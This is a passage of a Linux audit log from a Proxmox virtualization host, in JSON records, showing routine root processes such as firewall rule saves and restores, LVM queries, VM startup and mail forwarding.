a1=55ecb6b49fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965297475,"@rawstring":"node=pve type=EXECVE msg=audit(1781965297.475:65014): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966315887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.887:69283): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965075731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.731:64006): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295628,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.628:65011): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966315886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.886:69282): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.723:64005): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12dcd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295623,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.623:65010): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966315886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.886:69281): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.528:64004): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183ea80 a1=5b65b17eade0 a2=5b65b183e9c0 a3=0 items=2 ppid=61465 pid=61469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295621,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.621:65009): argc=1 a0=\"date\""} {"@timestamp":1781966315882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.882:69280): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.525:64003): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18481e0 a1=5b65b183ea80 a2=5b65b183e9c0 a3=0 items=3 ppid=61465 pid=61468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295616,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.616:65007): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966315877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.877:69279): proctitle=69707365740073617665"} {"@timestamp":1781965075522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.522:64002): arch=c000003e syscall=280 success=yes exit=0 a0=17 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965295610,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.610:65006): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966315872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.872:69278): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965075521,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.521:64001): arch=c000003e syscall=59 success=yes exit=0 a0=5646a1178710 a1=56467a44e978 a2=5646a11786b8 a3=0 items=2 ppid=61466 pid=61467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295602,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.602:65005): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966315866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.866:69277): proctitle=\"ip6tables-save\""} {"@timestamp":1781965075519,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.519:64000): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1832720 a1=5b65b18481e0 a2=5b65b185b760 a3=0 items=3 ppid=61465 pid=61466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295594,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.594:65004): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966315862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.862:69276): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965075517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.517:63999): arch=c000003e syscall=59 success=yes exit=0 a0=5ae35def1450 a1=7fff84ef5230 a2=7fff84ef5a40 a3=7fff84ef5100 items=3 ppid=61458 pid=61464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridge\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295588,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.588:65003): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966315855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.855:69275): proctitle=\"iptables-save\""} {"@timestamp":1781965075461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.461:63998): arch=c000003e syscall=59 success=yes exit=0 a0=620c1ddd2730 a1=620c1dc825b0 a2=620c17225c10 a3=b items=2 ppid=61453 pid=61454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"kvm\" exe=\"/usr/bin/qemu-system-x86_64\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295580,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.580:65001): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966315849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.849:69274): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965075400,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.400:63997): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcc7160 a1=620c1dcc6420 a2=620c17225c10 a3=b items=2 ppid=61444 pid=61452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295572,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.572:65000): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966315843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.843:69273): proctitle=\"ip6tables-save\""} {"@timestamp":1781965075389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.389:63996): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcc7b40 a1=620c1dcc8a50 a2=620c17225c10 a3=b items=2 ppid=61444 pid=61451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295564,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.564:64999): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966315838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.838:69272): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965075377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.377:63995): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcc7b00 a1=620c1dcc8450 a2=620c17225c10 a3=b items=2 ppid=61444 pid=61450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295558,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.558:64998): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966315832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.832:69271): proctitle=\"iptables-save\""} {"@timestamp":1781965075329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.329:63994): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dba3730 a1=620c1965d280 a2=620c17225c10 a3=b items=2 ppid=61444 pid=61448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"kvm\" exe=\"/usr/bin/qemu-system-x86_64\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295549,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.549:64997): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966314604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966314.604:69270): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965075296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.296:63993): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc875c0 a1=620c1dc9cf00 a2=620c17225c10 a3=b items=2 ppid=61444 pid=61446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295536,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.536:64996): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966314566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966314.566:69269): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965075260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.260:63992): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcbf6d0 a1=620c1afb9360 a2=620c17225c10 a3=b items=2 ppid=61444 pid=61445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295518,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.518:64995): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966311.154:69268): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965074053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965074.053:63991): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73afcf0 a1=64f8d73b7c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295506,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.506:64994): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966311.154:69267): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965074025,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965074.025:63990): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73a7250 a1=64f8d73bb6d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.503:64993): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966311154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966311.154:69266): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965072994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.994:63989): arch=c000003e syscall=59 success=yes exit=0 a0=61fbef34f330 a1=61fbef34f360 a2=61fbef34da50 a3=60 items=2 ppid=61437 pid=61438 auid=4294967295 uid=65534 gid=65534 euid=65534 suid=65534 fsuid=65534 egid=105 sgid=105 fsgid=105 tty=(none) ses=4294967295 comm=\"postdrop\" exe=\"/usr/sbin/postdrop\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295498,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.498:64992): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966311147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966311.147:69265): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965072989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.989:63988): arch=c000003e syscall=59 success=yes exit=0 a0=6164aa140b80 a1=6164aa141700 a2=7ffdd1ed4af8 a3=8 items=2 ppid=61436 pid=61437 auid=4294967295 uid=65534 gid=65534 euid=65534 suid=65534 fsuid=65534 egid=65534 sgid=65534 fsgid=65534 tty=(none) ses=4294967295 comm=\"sendmail\" exe=\"/usr/sbin/sendmail\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295498,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.498:64991): argc=1 a0=\"date\""} {"@timestamp":1781966311147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966311.147:69264): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965072982,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.982:63987): arch=c000003e syscall=59 success=yes exit=0 a0=56372e5c5d80 a1=56372e5c5d50 a2=56372e5c5520 a3=60 items=2 ppid=61178 pid=61436 auid=4294967295 uid=65534 gid=65534 euid=0 suid=0 fsuid=0 egid=65534 sgid=65534 fsgid=65534 tty=(none) ses=4294967295 comm=\"proxmox-mail-fo\" exe=\"/usr/libexec/proxmox-mail-forward\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295493,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.493:64989): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966311146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966311.146:69263): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965072907,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.907:63986): arch=c000003e syscall=59 success=yes exit=0 a0=61709e5f92f0 a1=61709e5f9320 a2=61709e5f7a50 a3=60 items=2 ppid=61434 pid=61435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=105 sgid=105 fsgid=105 tty=(none) ses=4294967295 comm=\"postdrop\" exe=\"/usr/sbin/postdrop\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295485,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.485:64988): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966306.140:69262): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965072896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.896:63985): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dddf270 a1=620c1ddded50 a2=620c17225c10 a3=8 items=2 ppid=61227 pid=61434 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sendmail\" exe=\"/usr/sbin/sendmail\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295477,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.477:64987): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966306.140:69261): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.887:63984): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4090 a1=620c1ddc17f0 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"cp\" exe=\"/usr/bin/cp\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295474,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.474:64986): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966306.140:69260): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.867:63982): arch=c000003e syscall=59 success=yes exit=0 a0=5b4ece280099 a1=7ffc14453ed0 a2=7ffc14454140 a3=8 items=3 ppid=847 pid=61431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"qm\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295465,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.465:64985): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966306.133:69259): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.861:63981): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1887910 a1=5b65b1a7d100 a2=5b65b1866720 a3=0 items=3 ppid=61413 pid=61430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965295459,"@rawstring":"node=pve type=EXECVE msg=audit(1781965295.459:64984): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966306.133:69258): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071851,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.851:63979): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1848490 a1=5b65b1a7d100 a2=5b65b17f0f40 a3=0 items=3 ppid=61413 pid=61428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965294718,"@rawstring":"node=pve type=EXECVE msg=audit(1781965294.718:64983): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966306.133:69257): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.840:63978): arch=c000003e syscall=59 success=yes exit=0 a0=65040f1643a0 a1=65041097db00 a2=65040f164680 a3=5 items=2 ppid=61415 pid=61427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965294693,"@rawstring":"node=pve type=EXECVE msg=audit(1781965294.693:64982): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966305823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.823:69256): proctitle=\"ebtables-restore\""} {"@timestamp":1781965071836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.836:63977): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1887910 a1=5b65b1a7d100 a2=5b65b1836c50 a3=0 items=3 ppid=61413 pid=61425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965292463,"@rawstring":"node=pve type=EXECVE msg=audit(1781965292.463:64981): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.820:69255): proctitle=\"ebtables-restore\""} {"@timestamp":1781965071829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.829:63974): arch=c000003e syscall=46 success=yes exit=32 a0=3 a1=7ffef0d75220 a2=0 a3=0 items=0 ppid=61415 pid=61420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=EXECVE msg=audit(1781965292.453:64978): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.817:69254): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965071832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.832:63975): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1848490 a1=5b65b1a7d100 a2=5b65b1866720 a3=0 items=3 ppid=61413 pid=61422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965287442,"@rawstring":"node=pve type=EXECVE msg=audit(1781965287.442:64975): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.814:69253): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965071827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.827:63973): arch=c000003e syscall=59 success=yes exit=0 a0=6504108f39b0 a1=65041081e350 a2=65040f164680 a3=5 items=2 ppid=61415 pid=61420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965287435,"@rawstring":"node=pve type=EXECVE msg=audit(1781965287.435:64972): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966305813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.813:69252): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965071822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.822:63972): arch=c000003e syscall=59 success=yes exit=0 a0=65040f1ac310 a1=65040f1a6480 a2=65040f164680 a3=5 items=2 ppid=61415 pid=61419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285444,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.444:64969): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966305813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.813:69251): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.686:63971): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285441,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.441:64968): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966305809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.809:69250): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.678:63968): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285439,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.439:64967): argc=1 a0=\"date\""} 